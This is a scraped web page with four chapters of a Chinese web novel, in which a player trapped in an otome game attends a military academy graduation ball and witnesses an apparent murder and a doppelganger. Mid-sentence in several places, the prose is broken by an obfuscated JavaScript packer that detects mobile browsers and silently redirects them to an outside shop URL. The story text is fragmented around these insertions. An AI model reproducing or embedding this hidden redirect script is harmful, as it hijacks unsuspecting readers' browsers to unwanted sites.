夏林作为外表看似小孩,内在完完全全是成年人的“老年玩家”,自然对军校那些基础理论的考试和操作没有兴趣,直接选择了跳过。 然后游戏这一天的时间线飞快地从上午直接快进到了傍晚,周围的场景也一瞬间从宿舍切换到了教学楼外。 游戏内无法跳过的时间显然是有关键剧情发生。夏林脑海中刚晃过这个想法,就在视野内看到了司昊泽和另一个有些眼熟的女生正从教学楼的另一侧往她这里走来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17128436|194449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们两人均开着光脑的投影光屏,似乎是有什么事情正在谈论,时不时低头在光脑上输入着什么。 两人由远及近。此时夏林突然想起来在哪里见过这个女生了,是之前在学生会办公室她要找纪承英时,替她指过一次路的那个女生。 司昊泽率先瞥见了明晃晃在门口杵着的夏林,他停下了脚步,冲夏林挥了挥手。 身旁的学生会女生也看见了他这个动作,她回头望了一眼站在那的夏林,很快说道:“……既然学长你还有事,那就不再打扰你了,多谢你今天来帮我。” 夏林与两人的距离已经可以清晰地听见他们的对话内容。 “司学长,那我这边最后跟你核对一下各年级总人数。三年级2人,二年级2人,一年级5人。统计结果是这样没错吧?” “嗯,没错。” “好,我知道了。” 因为之前也算有过几面之缘,这个学生会女生与司昊泽说完后还非常有礼貌地转头冲夏林点了点头作为告别,然后才转身离开了。 司昊泽走到夏林身旁,将她上下打量了一番:“小学妹考了一天的试气色看起来还不错,看来是胜券在握?” 压根没考试是这样的。 夏林绕过这个问题避而不谈,若无其事地转向了别的话题:“你们刚才在聊什么?” “期末其实是学生会最忙的时候,但你知道的,作为会长的纪承英现在不在,只能由刚才那个二年级学妹主持工作。但今天要参加考试的学生会成员挺多,人手不足,我就自告奋勇来帮忙了。我们刚才统计了各年级这次的缺考人数。” 司昊泽说完后又感慨般地补了一句:“这是我见过的缺考人数最多的一学年。以往三个年级加起来可能都不超过三个。可能是因为最近天宿军校也是发生了很多事。” 夏林对这个话题有些在意,继续问道:“他们为什么缺考?” 司昊泽唇角一弯,似笑非笑道:“校内的权贵二代比你想象中的多,你不是已经看到了纪承英吗?连将军的儿子都在这,说不定小学妹你的同学也卧虎藏龙哦。” 他顿了一下:“现在帝国是战时状态,军部权利极大。权贵们都想让自己的子女来军校就读毕业后出去占个好位置。缺考自然是因为最近军部有了一些不寻常的动静。” 夏林嗅到了一些关键信息的气息,继续追问:“帝国军部最近怎么了?” 司昊泽没有回答,而是突然伸手从口袋里拿出了一张随处可见的白底卡片,递给了夏林。 夏林翻转了两侧,有些迟疑地念出了上面的内容:“……毕业舞会?” 司昊泽眨了下眼,解释说:“是我们三年级的毕业舞会。夏林,我在此郑重邀请你当我的舞伴。” 话落他朝着夏林伸出手,弯腰单膝跪地。 此时周围考完试走出来的学生逐渐变多了。一看司昊泽这“求婚”架势,围过来看热闹的人不少。 这样高调的行为根本没给夏林拒绝的选项。 虽然她也没想拒绝。 眼看着聚集的NPC越来越多,夏林立即把卡片重新放到了对方摊开的手上,无奈道:“我答应你了,快起来。” 她的手正要抽离之时,对方突然反手一翻,又重新把卡片用力按入了夏林的手心。 两人对视,夏林一眼望进了对方那双宛如深海般的墨蓝色眼眸。司昊泽抬头仰望着她,沉默了一会才开口说: “这是邀请函,学妹一定要好好收好。” 夏林有些不明白他此时的态度,但眼前却浮现了熟悉的系统提示框。 【恭喜玩家进入攻略支线:司昊泽。】 【当前“司昊泽”好感度:15/100。】 38. 司昊泽4 好低的好感度。好迟的攻略线进入。 与司昊泽分别后回到宿舍的夏林后知后觉才想起来这游戏的分支攻略剧情是要单独开启的。因为之前她从爆炸醒来后有好长一段时间都和司昊泽单独在一起,下意识地以为已经在攻略司昊泽了,结果告诉她现在才开始进入攻略剧情? 夏林思考了一会,忽然开口朝着房间空无一人的某处喊了一声:“秦封?” 等了几秒,无人回应。 就在她收回视线的瞬间,门外突然响起了敲门声。 前去打开门一看,方才她呼喊的那个人正好整以暇地站在门外。 夏林让人进了门,然后怪异的目光上下扫了秦封好几回。 原本表情坦然的秦封被这目光看久了还是忍不住开口问:“……怎么了?” 夏林说:“你是听到我喊你才出来的吗?” “嗯。” “那你平时是一直在角落里看着我玩这个乙女游戏?” “大部分时候是这样,有些时候会去看其他角色的当前状态。怎么?” “所以你刚才其实是在这个房间内吗?” “……”反应极快的秦封立刻理解了夏林这几句话的言下之意,他抿紧了唇,选择了闭口不言。 “……下次不用大费周章走出去再从门外进来了。我早就知道你可以自由出入。”不知道是否是夏林眼花看错了,她刚才一瞬间好像看到那个秦封耳朵有点发红。 但对方很快微微侧了下身体,让夏林看不见那一侧。秦封已经重新装上了他雷打不动的平静表情:“找我有什么事?” 夏林停顿了一下。实际上她刚才只是想试探一下秦封在这游戏里是个什么状态。 从之前的游戏记忆不是特别好判断秦封是否是“一直”在看着她。因为结合他的现实身份背景,觉得这样的大人物一直沉迷全息游戏有些不可能。 可是他本人现在却说“大部分在看着她,其余时间去看其他角色”。 这不就是变相承认了他一直在游戏中吗? 难道在她不知道的时候,秦封在现实里犯了什么大错被停职了吗? 除此之外没有别的可能了吧? 夏林忍住了想开口问原因的冲动,转而换了个话题:“这次天宿学院期末考试的缺考名单你可以拿到吗?” 秦封看了她一会,点了点头,又摇了摇头:“我知道你要的那份缺考名单,但我没有办法直接给你,需要你自己去找目前的学生会代理会长获取,你应该已经见过她了,是一个女生。” 夏林从秦封那得到了那个女生的名字,然后想了个理由用光脑向她发了一封邮件。 学生会成员果然回复很快,夏林看着回复内容中的缺考名单,几乎是一眼就看到了两个熟悉的名字。 唐瑶,唐瑞。 说起来,自从白川出事之后,在整个纪承英线的攻略期间,夏林完全没有听到过任何有关这两人的消息。 唐瑞暂且不说,真实身份是白川亲妹妹的唐瑶,似乎也就这样平淡地接受了白川的结局。 ……这么一想的话,在现实里的夏璃,是否也同样早早地接受了她的死讯,然后过上了平凡的日常呢? 她们已经有很长的时间没有见过面了。最后见面的时光也十分不愉快,可能她的死亡通知对夏璃来说完全是不值一提亦或是松了一口气的反应吧。 夏林望着投影出的光屏,握着光脑的手微微收紧。 ……虽然从理智上来说这是她希望看到的结果,但在心底深处的某一处依然感觉到钝钝的疼痛。 忽然,夏林感觉到一个不属于她的热度从手指处传来。 略显粗糙的大手整个覆盖住了她的手掌,相接触的部位却仅有手指部分。 这样小心翼翼的态度让人完全摸不清其主人的想法。但即使只有这一点点接触面积,属于另一个人的温度也有很好地传递过来,让她因用力而发白的手指不自觉地放松了下来。 “别难过。” 秦封在她耳边低声说完这一句之后,才松开了手,往后退了两步。 夏林后知后觉地反应过来秦封刚才的动作几乎像是在把她整个人暧昧地圈进了怀里,但她现在更在意的是另一件事。 她转过身抬头看着秦封:“我刚才……看上去很伤心吗?” 夏林不清楚自己方才一瞬间是不是放松了警惕,让秦封看出了什么他才说的这句话。 秦封摇了摇头:“你很少有明显难过的表情。刚才也看上去和平常差不多,”他停顿了几秒,慢慢说:“只是在我看来,你似乎在难过。” 夏林静静地看了他一会,然后开口解释:“我只是因为这两个名字想起了白川。” 这句话也是变相承认了秦封的判断。但她选择用另一个理由去“合理”解释。 因为在白川那一段剧情里有提及过,收养白川妹妹唐瑶的家庭家境富裕。结合之前司昊泽的说法,看来也是个权势显赫能得到军部“风声”的。 一切看上去都很合理。或许只是一个对白川剧情的后续简单描述。 夏林关闭了光脑的投屏,抬头刚打算说些什么,门口又传来了一阵敲门声。 两人对视了一眼,夏林走过去开门,然后过了一会抱回来一个极大的硬质礼盒。 她把礼盒放到了桌上,打开了盒子。 里面是一件酒红色宫廷风晚礼服,采用抹胸设计,裙摆呈A字廓形左右长短不对称,整个裙身布满精致的立体花饰和刺绣,一看就是精心准备的。 “刚才来的是宿管,说这个是司昊泽送来的,”夏林下巴一点,示意桌上的礼服盒子,“我确实忘记了参加这种毕业舞会是需要礼服的。” 毕竟她当年现实里从军校毕业的时候……并没有参加最后的毕业舞会,就直接去前线报道了。 秦封的视线在盒子内的精致礼服上停留了许久,低声开口道:“它会很适合你。” “谢谢,”夏林看了一眼光脑时间,然后礼貌地下逐客令,“那我们明天舞会现场见。” 秦封迟疑了一下,似乎还想说些什么,但他过了一会最后什么也没说,就直接转身离开了。 · 天宿军校考完期末考试后就进入了假期,第二天的校园内除了准备毕业离校的三年级学员之外几乎看不见什么人。 毕业舞会的场所就在校园内的礼堂,入夜后前去的路上已有不少身穿华丽礼服的军校生们。 夏林与司昊泽约定见面的位置是礼堂门口,她到的有些早,门外只有她一个人。 即便是隔着一条走廊,里面悦耳舒缓的音乐也隐隐约约传到了门口。 夏林站在外面望着这个逐渐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17133643|194449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被夜色笼罩的世界,身后的富丽堂皇与前方的寂寥萧瑟像是两个世界,而她正站在两者的分割线上。 忽然手臂上传来一个柔软的毛绒触感。 “果然和我想的一样,你就真的只穿着那件礼服就来了。”不知何时出现的司昊泽手上拿着一件白色的毛绒披肩,正要给她披上。 夏林配合地穿上了披肩,确实比之前暖和了不少。 “等会到里面如果热的话就脱了,出来的时候再穿回去。”司昊泽仔细地叮嘱完后愣了一下,失笑道:“我现在怎么有种为人父母的感觉?” 夏林瞥了他一眼,没有接话。 司昊泽也不在意,自顾自往下说:“这可不行,我现在正是风华正茂的好时候,”话落朝着夏林伸出手:“美丽的公主,请。” 两人并肩走进了舞会礼堂。 到光亮处夏林才看清,身旁的司昊泽身穿了一身修身的白色西服,胸口处用红色玫瑰点缀,领结也配了红色的,看上去贵气优雅。 也与她的这一身十分相配。 作为校内的人气王,司昊泽从走廊刚进入礼堂正厅就引起了许多人的注意力。一拥而上来找他聊天的男男女女直接挤走了身旁的夏林。 司昊泽一边应付着周围人,一边朝边上的夏林投去抱歉的眼神。 夏林倒是无所谓,只是在旁边稍微听了一耳朵都是些“毕业后意愿”“某某部队前景”“某某长官背景”之类的话题,觉得对游戏剧情没什么帮助就自顾自往边上去准备拿一杯无酒精饮料。 夏林正在选饮料时,边上两个男生的低声对话传入了耳中: “他们现在还巴结司昊泽有什么用?纪承英那个事还在调查中,现在将军家哪有空管他这个小跟班?他自己毕业后讲不定被随便分到哪个角落去呢。” “不是小道消息说巨蛋会场监控里的那个人已经被找到了吗?” “找是找到了,但听说好像有哪里不对,我看这个事啊,没这么简单。” “唉,只是可惜了纪承英……” 什么?监控里的人找到了? 不可能,她明明好端端地站在这,没有任何人来找过她。 夏林本来想听更多,但这两个男生的话题似乎就要这么结束了,不由得着急出声喊住了那两人:“抱歉,我刚才不小心听到了二位的对话……” 她缓缓走到两人面前,开口问:“你们刚才是有说到,纪承英出事那一天会场监控里的人被找到了?能告诉我找到的人是谁吗?” 那两个倚靠在墙上的男生互相交换了一个眼神,显然是认出了这个刚才与司昊泽一同进场的显眼金发女生。他们立即直起身摆手离开,没有回答夏林的问题:“抱歉,我们什么都不知道。” 夏林在原地停留了一会,然后快步往人烟稀少的某个侧面露台走去。 夏林到露台上确认没有其他人在之后才低声喊了一句: “秦封?你在吗?” 过了一会,预想中的高大男人没有出现。 夏林蹙了眉,转身正打算重新走回礼堂,忽然心头警铃大作。 不知何时有一片阴影笼罩了她。 正要转身反击之时,有一个物品从后方递到了她的身前。 身后的阴影同时转移了方向,月光倾落了下来。 面前是一朵红色的玫瑰。 39. 司昊泽5 “抱歉了小学妹,刚才冷落你这么久,这个送给你,作为赔罪。” 身后不知何时出现的司昊泽拿着玫瑰,冲着猛转身的夏林眨了眨眼,笑道:“怎么了?被我吓到了?” 夏林确实惊了一下,但她担心的是刚才她喊秦封的那句话有没有被他听到。 但此时司昊泽的表情丝毫没有异常,看不出什么端倪。 夏林从司昊泽手中接过了那朵玫瑰,又听见他说:“外面冷,我们赶快进去吧。”话落还绅士地为夏林打开了门。 为了不表现出更多的异样,夏林目前只能顺着对方,于是又回到了礼堂内。 但她回去之后依然透过落地窗往外瞥了好几眼。 夏林想不明白司昊泽刚才是从哪里出现的。 她在出去之后有确认过那个小露台是没有人的,平坦的地面也没有任何遮挡物可以藏人。身后唯一供人出入的门也从未开启过。 礼堂靠近露台这一侧是一整面的玻璃墙。上方更不可能藏人。 司昊泽就像是凭空出现了一样。 感觉有哪里不对。 然而并没有给夏林太多思考的时间。礼堂内的音乐风格突然一变,从舒缓绵长转为了俏皮轻快。 察觉到这一点的同时,身旁的司昊泽微微弯下腰,向她行了一个邀舞的绅士礼。 虽然以前在军校礼仪课上有教过社交舞,但那对现在的夏林来说,都是许多年前的事情了。 于是显而易见地,走至舞池的夏林动作僵硬。 身旁的司昊泽很快发现了这一点,他俯身在夏林耳旁低声道:“别紧张,我也跳得不好。” 听见这一句,夏林连眼神都懒得给他。 有她在旁边作对比,司昊泽的动作极其优雅流畅,完全是一个天上一个地下。 身旁人的态度司昊泽也察觉到了,他先是勾唇笑了一会,然后才再次俯身像是无奈妥协般地开口:“那我们等这一节音乐结束,就一起偷偷溜走?” 夏林瞬间清醒了许多。 舞会似乎才正式开始了没多久,司昊泽却说要在这一节音乐结束后就走?后面是要发生什么特殊事件吗? 在音乐的欢快旋律渐渐平缓下来之时,一小节的音乐就进入了尾声。司昊泽弯腰做了一个完美的结束动作之后,直起身看着夏林刚欲开口说些什么,后方主席台上突然传来了一个爽朗的男声: “各位即将为帝国奉献出自己光芒的冉冉新星们!” 司昊泽唇边的笑容瞬间凝在了脸上。他猛地回头,死死地盯着主席台的方向。 这样明显的情绪变化在咫尺距离的夏林自然是发现了。她也同样抬头探究地看向了主席台。 但作为三年级的毕业舞会,这礼堂内几乎所有人对二年级的夏林来说都是陌生的,所以她并不知道上面那个打扮得挺正常的男主持人现在有什么严重的问题。 司昊泽很少有这样放弃表情管理的时候,记得上一次这样还是她向纪承英揭露帝国真相的时候,而且那时候也只是两个人私下。 现在这周围可是有不少人。 是因为舞会之后就毕业了,不会和周围这些“同学”再见面了? 那为什么又要装模作样地来这个毕业舞会呢? 主席台上的男主持人还在继续说话: “我们天宿军校学生会历经千辛万苦终于得到了校方的许可,为即将毕业的各位加入了一个特别惊喜活动!” “请舞池里的各位看向自己的舞伴,在这个即将毕业的重要时刻你选择了与TA在一起,想必你身边的这个人对你也有着特别的意义。无论是情侣、朋友、暧昧对象、亦或是迫于社交压力随便邀请的不太熟同学……咳,总之啊,现在大家凑在一起都是一段缘分。” 主席台上男主持人似乎挺专业,还懂得加入一些乐子话让气氛更轻松一些: “那边角落一个人的男同学,好了好了,别吃了,我看你半天了,一个人在那干掉了半个果盘。这下好了吧,我们都知道了今天学校水果新鲜。” 话落男主持人将嬉皮笑脸一收,态度一秒切换为正经: “接下去的活动,一个人来的同学也可以参加。我们学生会将它命名为——‘奇迹时刻’。” “2分钟之后,整个会场将会熄灯3次,第一次黑暗将持续15秒,第二次10秒,第三次5秒。为了不引发踩踏事件或者其他意外,每次黑暗时间结束后都会亮灯2秒。在这个期间,想亲密的亲密,想送情书的送情书,有怨报怨有仇报仇……学生会友情提醒,不管有什么个人恩怨,大家毕竟校友一场,请勿过火。好了,刚才说的2分钟已经过去30秒了,还不快看看你的‘目标人物’现在在哪个位置?” 主持人突然做了个侧耳倾听的动作: “什么?‘时间太短了情书没写完’?刚才是谁说的这句话?” “同学你哪个班的?这个手速机操一定不及格吧?怎么毕业的?来,复查一下这位的成绩单。” 主持人朝着某个方向装模作样地指点完,然后低头看了一眼自己的光脑:“现在开始倒计时……” “夏林。” 旁边的司昊泽突然出声: “等会熄灯的时候,千万不要离开我身边。” 司昊泽低声向她叮嘱完,盯着主席台的表情依然凝重。 夏林看了他一会,凑近小声问道:“是有什么问题吗?” 听见这个问题,司昊泽没了往日那般从容的态度,而是沉默了几秒才低声回道:“我事先没有接到任何通知说学生会今天要加入这样的活动。” 那这确实奇怪。 暂且不想司昊泽在学生会里到底是个什么职位,就他之前表现出的各种熟门熟路,不止是学生会,是天宿军校内发生的所有事情都了如指掌的感觉。 还未等夏林思考太多,主席台上男主持人的倒计时已经到了尾声:“三!” “二!” “一!” “奇迹时刻开始!请关灯!” 随着主持人最后一个字的尾音落下,整个礼堂会场陷入了一片黑暗之中。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17138051|194449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 军校的学生都经历过夜间训练,再加上有主持人的事先说明,所以即使有几声怪叫响起,也没有引起什么骚动。 视野环境骤然由亮转暗需要一点点适应时间。夏林闭了下眼,刚睁开之时,一只手从后往前,捂住了她的嘴唇。 夏林心下一惊,手上刚要有所动作,忽然觉得靠近自己的这个气息非常熟悉。 尤其是之前曾有过一次与现在差不多的情况。 第一次熄灯的15秒还在继续。她缓缓抬起手,在黑暗中靠近了掩在自己唇上的那只手,在对方的手背上画了一个问号。 不知道是否是因为这里周围人比较多,秦封并没有开口说话,也没有对她的动作做出回应。他依然保持着捂住她嘴唇的动作,但又带着夏林往后退了两步。。 此时第一次熄灯时间结束。灯亮了。 身穿白色西服的司昊泽依然站在他方才所在的位置,微微侧着头看着主持人所在的方位。 他朝向夏林的是身体的正面。领口的红色领结与胸口的红色玫瑰格外醒目,看上去毫无异样。 短暂的两秒光亮过后,进入了第二次熄灯时间。 等等。不对! 突然回忆起某些细节的夏林呼吸急促了几分。 她记得之前在小露台遇见司昊泽的时候,司昊泽将别在胸口的红色玫瑰花送给了她,然后她后来随手放在了某个桌上了。 后面两人跳舞的时候,司昊泽胸前空荡荡的,一直是没有红色玫瑰的! 而且亮灯的时间太短了,她刚才看到的……是红色玫瑰吗? 黑暗后的强光之下,那两秒钟的视野画面随着数次被回忆变得有些不确定起来。 夏林下意识想往前走去找司昊泽,但身后的秦封死死地按住了她。 第二次熄灯时间结束,灯又亮了。 夏林整个人僵在了原地。 这次带着明确的目的与准备,她看得非常清晰。 身穿白色西服的司昊泽胸口心脏处被一个末尾手柄处是立体玫瑰花的银色器物所刺穿,鲜红的血液顺着没入身体的刀柄往外流,几乎染红了整朵玫瑰。 司昊泽侧过的那半张脸表情非常意外,像是根本没有反应过来就遭受了这致命的一下。 光亮结束,现在进入了第三次的熄灯时间。 比前两次显然更加吵闹的黑暗中,夏林觉得自己脑子嗡嗡的。 司昊泽死了?就在她刚开启司昊泽的攻略线之后? 她之前有哪一步行动没有做对吗? 是谁杀了司昊泽? 现在司昊泽死了,这个游戏是没有攻略人物了吗? 那她要怎么把秦封送回去呢? 接下去……她要怎么办? 最后一轮的熄灯时间在夏林混乱的思绪中不知不觉地结束了,这个富丽堂皇的礼堂又重新恢复了光亮。 四周其他人的热闹喧嚣夏林一点也没有听进去。 直到一个不可能的声音在她前方响起: “回神了哦,小学妹。” 40. 司昊泽6 夏林死死地盯着现在站在她前方的男人。 修身的白西服,领口的红色领结,胸口的红玫瑰。 一切都和今天最开始司昊泽的造型装扮完全一致,就像是被游戏系统“重置刷新”了一样。 那她刚才看到的又是什么? 不知是否是巧合,整个礼堂地面铺满了深红色的地毯。即便有血迹滴落在上面,凭肉眼也根本无法分辨。 夏林环顾四周,并没有看到尸体的踪迹……亦或是被藏在了这被桌布掩盖的巨大圆桌之下。 很快,她望向桌子下方的视野里出现了一双穿着锃亮皮鞋的长腿。 靠近过来的司昊泽挡在了她的前方。等夏林将视线重新聚焦在他脸上之时,只见他将食指靠在了自己的唇上,做了一个噤声的手势。 这是什么意思? 夏林虽然不明白,但目前状况不明,贸然行动不可取。她只能静观其变。于是她冲着司昊泽点了点了头。 司昊泽闭上了眼。 某一个瞬间,他突然睁开眼,然后伸手猛地拉了一把夏林,把她带到旁边的圆桌旁,拿起桌上的一颗草莓递了过来,笑道:“小学妹,刚才主持人说今天的水果特别新鲜呢,你尝一颗?” 夏林被他这一连串的动作整得有点懵,她看着递到眼前的草莓,刚想伸手接过,突然听到后方其他人的谈话: “啊,没事的没事的,我没有受伤,”说话的男生表情错愕,但依然朝身旁的同伴摆了摆手,“可能是我刚才一下没拿稳,不小心摔了。” 地上是一个四分五裂的破碎玻璃杯。 碎片的分布位置很微妙。如果像那个男生所说的那样只是没拿稳,碎片应该是在落点处呈四散开的。 但那个杯子的碎片却是倾向于朝着某一个方向散碎的。 这种一般是被别人撞了有一个初始力导致朝某个方向脱手才能碎成这样,但那个男生周围除了他的舞伴并没有其他人。 ……亦或是,被某种东西“拍”开落地的。 夏林在心中罗列了一些假设。等她收回视线时,却看到眼前的司昊泽正好朝她眨眼wink了一下。 夏林愣了下,一瞬间思维好像突然捕捉到了什么,但又快速地断裂了。 还未等她多想,司昊泽放下了手中的草莓,丝毫不在意夏林没有接。他突然一步向前拉进了两人的距离,亲昵地挽起了夏林的手,然后带着她朝着前面的两个人走去。 “好久不见啊林深,最近身体还好吗?听说你在上个任务里受伤了?”司昊泽率先冲着回过头的男生打招呼。 “哎小伤,两天就出院了。你看我现在完全没问题。倒是你,毕业后准备都做好了吗?”被唤作林深的男生回道。 “那是当然了。我是谁?你还不知道我吗?江海怎么样,我听说你之前的第一志愿好像有些困难。现在解决了吗?”司昊泽熟练地应答,同时也在恰当的时机和女生搭了句话,不冷落任何一个人。 “总算是想办法补上了缺的那一点要求,现在应该没问题了,谢谢关心。”被唤作江海的女生笑了一下,好奇地看向夏林,“这位是……” “这是我靓翻全场的舞伴,今晚最璀璨的公主——夏林小学妹!”还未等夏林回话司昊泽就声情并茂地抢答了。 浮夸的介绍让夏林顿时嘴角抽了一下,尴尬得恨不得挖个洞把自己埋下去。 面前的一男一女也笑了起来。 气氛良好,司昊泽又拉着夏林与他们多聊了几句,然后适时地结束了话题。 夏林完全不明白这一出是什么意思。 因为刚才的聊天里大家都在打太极地说车轱辘话,没有半点重要信息,纯寒暄。 她刚欲开口,司昊泽突然脚步一转,又拉着她和前面的两个男生聊了起来。 …… 这一回话题虽然有所区别,但聊的内容依然和之前大差不差。 夏林并不是什么喜欢交际的人,这种对话在她看来就是浪费时间。但她也不打算干涉别人的习惯乐趣,于是在司昊泽的脚步有迈向下一个人堆的迹象之前就抢先开口道: “等一下,我有点口渴了,你先去吧,我去那边拿杯饮料。”夏林用这种借口其实只是一种委婉的拒绝。 “渴了?”交际达人司昊泽此时却像是没听懂夏林的意思,他从旁边桌子拿了一杯饮料递过来,挽着夏林的手半点没有放松。 夏林没接,无声地望着他。 此时后面传来对话声: “这礼堂里有虫子吗?感觉刚才被什么东西叮了一下。” “瞎说什么?这里哪来的虫子。” 说话的正是方才与司昊泽寒暄过的那两个男生。 这对话结合之前的微妙感让夏林似有所觉。她没有回头,只是定定地看着司昊泽,问:“‘必须’喝这个吗?” “嗯,我亲自尝过的,这个饮料超级好喝,热量也很低。来了这里就‘不得不’喝吧?”司昊泽神态自若地回答。 夏林接过了那杯饮料,不动声色地喝了一口。 原来她之前感觉到的那些不是错觉。 在这个看似歌舞升平的毕业舞会上,有什么在暗处蠢蠢欲动。 “抱歉了,小学妹,”司昊泽重新走到夏林身旁,在她耳边低声道,“再忍忍,马上就结束了。”话落又挽起了她的手。 马上结束? 因为打算继续观望,所以此时夏林顺从地继续跟着司昊泽的动作走。 然后她很快知道了这个“马上结束”是什么意思。 司昊泽选择上前寒暄的这几波人似乎并不是他随便选择的,而是在有意地往人比较多的方位走,且在一步步地靠近出口。 人多代表着必有善于交际见多识广的人在那,这类人会对自己舒适圈内贸然出现的陌生人比较敏感,比如被司昊泽带过去的夏林就没少被各种打量。 不过……在暗处做小动作的真的是陌生人吗? 夏林跟着司昊泽走的间隙里飞快地扫了好几眼礼堂全场。 天宿军校是采用小班化精英教学的军校,现在虽然是一届学生的毕业,不过就算加上邀请的舞伴,其实这里的人数也并不算太多。 这些人的行动神态看着都很正常,乍一看感觉不到任何恶意。 “等会我给你信号的时候,你就从这里出去,然后以你的最快速度抵达校门口,我们在那里汇合。” 在一个社交姿态的错身间,司昊泽在夏林耳边低声快速地讲完了这句话。 什么信号? 夏林抬眼看向他,这个高大的红发男却回了一个俏皮的眨眼。 她很快知道这所谓的信号其实就是某一个瞬间司昊泽用指尖轻轻地挠了一下她的手心。 夏林感受到了之后,微微顿了一下,然后不动声色地转身朝着礼堂外走去。 “啊,我们小学妹刚才说有点累了……”她听见司昊泽在身后这么朝其他人解释道。 一走出礼堂,良好的建筑隔音让外面的夏林几乎听不到里面的喧嚣。 她在门口停下了脚步。 “你最好快点过去,司昊泽不会有事。” 就像是知道夏林此时在顾虑什么,不知何时出现在身旁的秦封出声催促。 夏林抬眼,迈开脚步往前走。秦封默不作声地跟了上去。 层云遮星,暮色转深。入夜后的校园内空无一人,唯有一盏盏的路灯依然恪尽职守地亮着。 “刚才亮灯的间隙里,我看到的是什么?”夜风中传来夏林的声音。 秦封就跟在她的身后,听见这句问话回道:“你马上会知道的。” 夏林裹紧了身上的白色披肩。 礼堂的位置距离校门口不算远。还未走到那,夏林远远地就望见校门口站着一个人。 随着距离越近,那人的轮廓愈发清晰。 “司昊泽?” 夏林走到近处,喊出了那人的名字。 闻声转过来的红 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17143863|194449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发男人依然穿着那身白色西服,领口的红色领结与胸口的红玫瑰在阴影中显得有些黯淡。 他冲着夏林笑道:“你来啦?夏林学妹。那我们就快走吧?” 好像有什么不对劲。 夏林紧紧盯着司昊泽那张脸,开口说:“学长,我刚才走的时候你好像还在礼堂有什么事要忙,现在怎么反而还是你先到了?是有什么我不知道的小路吗?” “小学妹,怎么突然这么有礼貌地喊我学长了?”司昊泽一秒识破了夏林在话里给他挖的陷阱。他走上前靠近夏林,抬手整理了一下她身上的白色披肩:“我记得自从白川的事情之后,你就再没有喊过我一句学长。” “……只是你今天终于有像个学长的样子,”夏林停顿了一下,转头看向另一边,“我们要去哪?” “跟我来吧。” 司昊泽带着夏林出了天宿军校,沿着大路走了一段之后在小巷内七弯八绕地走了许久,最后在一条僻静的巷口停了下来。 “他好像迟到了一点……抱歉,我们再等等吧。”司昊泽看了一眼自己光脑上显示的时间,回头和夏林说了一句后,又重新转头看向了路的远方。 “我们要去哪?”夏林在身后问道。 “我们……”司昊泽转过身,刚说了一个开头,就望见对面的夏林瞳孔猛地一缩。 他低下头,银色的刀刃已经穿透了自己的心脏。 这就是他最后看到的画面。 夏林缓缓地将视线从倒在地上气息全无的司昊泽移到了对面站着的那个红发男人身上。 他像是刚经历过一场激烈的打斗,身上的白色西服有多处破损,领口的红色领结还在,但胸口的红色玫瑰已经不见了。 他同样长着“司昊泽”的面容。 夏林注视着对面人将手中滴血的刀刃收起,沉声问道:“你是谁?” 听见这句话的红发男人忽然嗤笑了一声,唇边勾起了一个嘲讽的弧度:“小学妹,是我啊,”他抬步朝着夏林靠近,“不到半小时前我们不是还见过面吗?我是专为拯救彷徨少女而来的黑夜使者,3年A班的司昊泽学长。” 夏林对这个浮夸的自我介绍没有半分动容,她瞥了一眼倒在地上的“司昊泽”,说:“你说你是司昊泽,那他又是谁?” “他也是司昊泽,”红发男人在说这句话时目光一眼都没有看向地上的“司昊泽”尸体,仿佛那是和垃圾一样不值得注意的东西,“小学妹,你一直带着我给你的舞会邀请函吧?”他朝着夏林伸出手。 因为之前对方有强调过“一定要收好”,夏林就将那个司昊泽给的舞会邀请函也随身带了过来。 不过带过来之后夏林就发现这个毕业舞会好像根本不需要出示邀请函就可以直接进入,所以这个没有用到的邀请函一直都在她身上。 此时见对方要,夏林便从礼服的隐藏口袋里拿了出来,递了过去。 拿到这张卡片,红发男人放在指尖摩挲了一会,抬眼看向夏林:“谢谢你信任我。” 不知是否是夏林的错觉,对面人说这句话时脸上明明没有任何笑容,但整个人的气息却柔和了许多。 